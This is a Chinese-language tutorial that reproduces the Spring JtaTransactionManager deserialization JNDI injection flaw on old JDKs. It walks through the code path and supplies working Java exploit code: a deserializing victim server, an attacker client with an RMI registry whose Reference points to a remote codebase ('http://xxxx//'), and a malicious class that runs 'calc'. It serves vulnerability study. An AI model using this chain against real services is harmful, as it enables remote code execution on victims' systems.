Spring 反序列化JNDI注入漏洞
环境搭建
直接用的Github的项目:https://github.com/zerothoughts/spring-jndi
下载到本地,导入maven项目即可。
同时,为了顺利复现漏洞,JDK要在以下的版本之下:8u121、7u131、6u141。在上述版本之后的JDK中,都增加了com.sun.jndi.rmi.object.trustURLCodebase
选项,其默认禁止RMI和CORBA协议使用远程codebase的选项。
漏洞原理
这个漏洞归根到底就是用到了JNDI注入,Spring框架的JtaTransactionManager类中重写了readObject
方法,这个方法最终会调用到JNDI中的lookup()
方法,关键是里面的参数可控,这就导致了攻击者可以利用JNDI注入中的lookup()
参数注入,传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,从而实现远程代码执行。
代码分析
漏洞入口点在于org/springframework/transaction/jta/JtaTransactionManager.java
中的readObject
方法:
跟入initUserTransactionAndTransactionManager
方法:
这里走到了this.lookupUserTransaction(this.userTransactionName);
,其中的参数是userTransactionName,继续跟进:
这里的getJndiTemplate
方法用于获取this.jndiTemplate
,而this.jndiTemplate
在初始化时被赋值为JndiTemplate
类的实例化对象。因此这里的lookup
实际上调用的是JndiTemplate类中的方法,参数就是上一步传进来的userTransactionName,继续跟进:
这里接着调用只有一个参数的lookup
方法:
这里的ctx
是InitialContext
类的实例化对象。该类的lookup
方法实现资源引用,我的理解是用来注册服务提供者所提供的服务。如果把rmi
理解为封装协议的话,这里的lookup
方法我们就可以理解为针对rmi
协议发送请求并解析。
接下类后面的流程就是JNDI中的RMI注入了,过程简单描述一下:
- Spring服务端从RMI的注册中心获取对象,该对象是攻击者预先设置好的ReferenceWrapper 对象;
- Spring服务端开始从本地
CLASSPATH
中搜索 Reference 中的类,如果不存在则会从Reference中指定的classFactoryLocation(远程加载类的地址)上去尝试获取类文件,即动态的去获取http://vps/xxxx.class
; - 最后由于RMI的机制还会对动态获取回来的类进行初始化,即调用其构造函数,由于这个类是攻击者构造好的,就能够实现构造函数中任意代码就执行。
所以,只要JtaTransactionManager类中userTransactionName属性可控,设定为指定的恶意RMI服务地址,那么能能够实现JNDI注入啦。
于是乎就找到了setUserTransactionName
:
这方法是public的,能够让我们去外部调用控制其参数。
利用
为了方便,对上面环境的代码进行一些修改:
ExploitableServer.java:Spring服务端(受害者)
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class ExploitableServer {
public ExploitableServer() {
}
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(1234);
System.out.println("Server started on port " + serverSocket.getLocalPort());
while(true) {
Socket socket = serverSocket.accept();
System.out.println("Connection received from " + socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object " + object);
} catch (Exception var5) {
System.out.println("Exception caught while reading object");
var5.printStackTrace();
}
}
} catch (Exception var6) {
var6.printStackTrace();
}
}
}
全网监听1234端口,将连接上来的Socket数据流内容进行反序列化操作即readObject()
。
ExploitClient.java:(攻击端)
import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
public class ExploitClient {
public static void main(String[] args) {
try {
int port = 1234;
String localAddress = "127.0.0.1";
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://xxxx//");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
Socket socket=new Socket(localAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
先创建注册表并监听在默认的1099端口,然后使用RMI+Reference的方式将referenceWrapper注册到Registry中、其中注册名为Object,然后和目标服务器建立连接,接着新建org.springframework.transaction.jta.JtaTransactionManager
实例并调用setUserTransactionName
来设置JNDI要查找的RMI服务地址、这里为本程序开启的Registry服务中绑定的object,最后将这个实例对象序列化之后发送给服务端。
ExportObject.java
public class ExportObject {
public ExportObject() throws Exception {
String cmd="calc";
Runtime.getRuntime().exec(cmd);
}
}
Reference引用指向的恶意类,这里我们在构造方法中实现运行计算器的功能。
将ExportObject.java
放置于公网服务器上,编译为class
字节码文件。这里不知道为什么我在本地起的http服务URLClassLoader无法加载到这字节码,知道原因的师傅能分享下为吗。